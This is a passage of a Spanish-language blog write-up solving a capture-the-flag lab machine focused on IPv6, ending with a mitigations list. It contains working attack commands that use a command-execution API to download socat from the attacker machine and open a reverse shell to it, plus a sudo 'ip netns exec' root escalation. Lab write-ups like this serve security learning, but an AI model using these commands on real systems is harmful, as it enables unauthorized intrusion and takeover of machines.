Se comprueba y confirma que esta máquina pertenece al mismo segmento de red que la máquina de trabajo, ya que es posible realizar un ping, mostrando que esta es directamente accesible. Esto significa que no es necesario realizar ninguna redirección adicional a través del túnel creado.

curl -s -6 -X POST -H "Content-Type: application/json" http://[fd00:dead:beef::1]:8081/execute -d '{"command":"ping -c 1 2001:db8:cafe:0:1b3e:33a7:91e2:6b47"}'

Por ello, se aprovecha el puerto del servidor HTTP establecido previamente para transferir el binario “socat” utilizando la API, dándole permisos de ejecución a este.

curl -s -6 -X POST -H "Content-Type: application/json" http://[fd00:dead:beef::1]:8081/execute -d '{"command":"curl -s -6 -o /tmp/socat http://[2001:db8:cafe:0:1b3e:33a7:91e2:6b47]:8008/socat;chmod +x /tmp/socat; ls -al /tmp/socat"}'

A continuación, se establece un puerto a la escucha utilizando “socat”.

socat TCP6-LISTEN:1339,reuseaddr,fork -

Por último, se aprovecha una vez más la posibilidad de ejecutar comandos para ejecutar una consola inversa con “socat” que apunte a la máquina de trabajo directamente.

curl -s -6 -X POST -H "Content-Type: application/json" http://[fd00:dead:beef::1]:8081/execute -d '{"command":"/tmp/socat TCP6:[2001:db8:cafe:0:1b3e:33a7:91e2:6b47]:1339 EXEC:/bin/bash,pty,stderr,setsid,sigint,sane &"}'

Tras revisar el puerto a la escucha previamente establecido, se puede comprobar que se consigue acceder al sistema “TheHackersLabs-ipeuveseis” como el usuario “lenam”, el cual dispone de la IPv6 asignada en una de sus interfaces de red automáticamente mediante el prefijo definido al principio del laboratorio.

whoami
id
hostname
tty
ip a

Por último, se obtiene la flag asociada a este usuario.

ls -al
cat user.txt

Escalada de privilegios (lenam [hostname: TheHackersLabs-ipeuveseis] -> root [hostname: TheHackersLabs-ipeuveseis])

Al listar los privilegios SUDO, se puede comprobar que el usuario “lenam” puede ejecutar el binario “/usr/sbin/ip” como el usuario “root” sin proporcionar contraseña y un par de scripts escritos en Bash como cualquier usuario del sistema. Esto viene definido de la siguiente forma tras listar sus privilegios:

  • (ALL) NOPASSWD: /root/stack/scripts/block-web-host-access.sh, /root/stack/scripts/remove-web-host-block.sh
  • (root) NOPASSWD: /usr/sbin/ip
sudo -l

Comprobando el binario “/usr/sbin/ip” en GTFObins, se puede comprobar que existe una manera probada de aprovechar este binario para realizar operaciones aprovechando los privilegios asignados.

Referencia: https://gtfobins.org/gtfobins/ip/#shell

En este caso, es posible abrir una consola interactiva como el usuario “root” directamente.

sudo -u root ip netns add pyth0nk1d
sudo -u root ip netns exec pyth0nk1d /bin/bash
whoami
id
hostname

Por último, se obtiene la flag asociada al usuario “root”, obteniendo además una felicitación de parte del autor del laboratorio por haber llegado al final y deseando haber aprendido algo sobre IPv6. En mi caso, un montón :)

cd /root
ls -al
cat root.txt
...

<RECORTADO>

Español
¡Felicidades! Ya has conseguido la última flag.
Espero que hayas aprendido algo sobre IPv6… y que no hayas tenido que escanear todo ::/0 para encontrarla 😉

English
Congratulations! You’ve captured the final flag.
I hope you learned something about IPv6… and didn’t have to scan the entire ::/0 to get here 😉

Català
Felicitats! Ja has aconseguit l’última flag.
Espero que hagis après alguna cosa sobre IPv6… i que no hagis hagut d’escanejar tot ::/0 per trobar-la 😉

En este punto, al haber obtenido acceso a la cuenta “root”, se ha conseguido obtener los máximos privilegios posibles sobre el sistema objetivo (este laboratorio).

BONUS: Revisión de scripts sobre reglas de bloqueo

Al revisar los scripts asignados en los privilegios SUDO del usuario “lenam”, se puede comprobar que se estaban aplicando una serie de restricciones a nivel de red que dificultaba el descubrimiento e interaccion de ciertos servicios. En este caso se hace uso de la utilidad ip6tables para establecer estas medidas de restricción.

En resumen, la utilidad ip6tables permite gestionar las reglas del cortafuegos para tráfico IPv6 en GNU/Linux. Se usa para filtrar paquetes, permitir o bloquear conexiones, aplicar políticas de seguridad y controlar cómo se enruta o procesa el tráfico IPv6. Funciona mediante tablas y cadenas donde se definen reglas que el kernel evalúa para decidir qué hacer con cada paquete.

# cat /root/stack/scripts/remove-web-host-block.sh

Script para eliminar el bloqueo del contenedor web

Script para eliminar el bloqueo del contenedor web

Y a continuación se muestra el script utilizado para establecer las restricciones que han dificultado llegar hasta este punto, también haciendo uso de la utilidad ip6tables.

# cat /root/stack/scripts/block-web-host-access.sh

Script de bloqueo — Parte 1

Script de bloqueo — Parte 1

Script de bloqueo — Parte 2

Script de bloqueo — Parte 2

Mitigaciones a aplicar

  • Almacenar o compartir la información sensible como contraseñas, hashes, notas, nombres de usuario o secretos similares de una forma segura (por ejemplo, usando algoritmos de hashing adecuados, usando gestores de contraseñas y manteniendo estos y su contraseña maestra a buen recaudo, etc).
  • Para prevenir la vulnerabilidad inclusión local de archivos (LFI), validar y sanitizar todas las entradas del usuario, evitando el uso directo de rutas en funciones de inclusión de archivos que potencialmente incluyan su contenido directamente.
  • Para evitar la explotación exitosa de la técnica log poisoning, es fundamental validar y sanitizar cuidadosamente todas las entradas del usuario antes de registrarlas en los archivos de log, eliminando caracteres especiales o secuencias que puedan alterar el formato del registro o inyectar contenido malicioso que puedan ocasionar una ejecución de código no autorizada o malformación en los registros generados. Además, se recomienda otorgar al usuario del servidor web únicamente permisos de escritura sobre los logs. En el caso de necesitar permisos de lectura para una operación adicional, delegarlo sobre otro usuario que no tenga relación con este servicio.
  • Evitar que los usuarios del sistema, de aplicaciones web u otros elementos a proteger como comprimidos o documentos tengan como contraseña una que se pueda encontrar en listas públicas o conocidas como rockyou. Recomendación: crear una política de contraseñas robusta para evitar que esto ocurra.
  • Evitar exponer información sensible a través de servicios web.
  • Si un sistema tiene varias interfaces de red habilitadas simultáneamente y pertenece a diferentes redes, evitar esta configuración en la medida de lo posible, haciendo que se conecte a más de una red cuando sea necesario. Esto evitará potenciales intrusiones o divulgación de información entre redes. En el caso de que no sea posible alterar esta configuración, asegurarse de aplicar reglas de cortafuegos para filtrar el tráfico en ambas interfaces, evitando tráfico innecesario limitando el acceso a los servicios expuestos o aplicando listas blancas de IPs de confianza, entre otras medidas.
  • Ajustarse al principio de privilegio mínimo y conceder a los usuarios del sistema única y exclusivamente los privilegios que vayan a necesitar. Aplica de la misma forma para recursos del sistema y sus permisos. Recomendación: existen guías de hardening como “**CIS Benchmarks*” para aplicar buenas prácticas y asegurar entre otras cosas, los permisos para distintos tipos de software* y sistemas expuestos en Internet.

¿Te gustó esta publicación? Sígueme y descubre más en mi blog principal: https://pyth0nk1d.medium.com


메타데이터
post_id
2ff1ac570d50
slug
the-hackers-labs-writeup-ipeuveseis-spanish-2ff1ac570d50
url
https://medium.com/@pyth0nk1d/the-hackers-labs-writeup-ipeuveseis-spanish-2ff1ac570d50
canonical_url
https://medium.com/@pyth0nk1d/the-hackers-labs-writeup-ipeuveseis-spanish-2ff1ac570d50
author_url
https://medium.com/@pyth0nk1d
status
ok
fetched_at
2026-07-27 18:56:04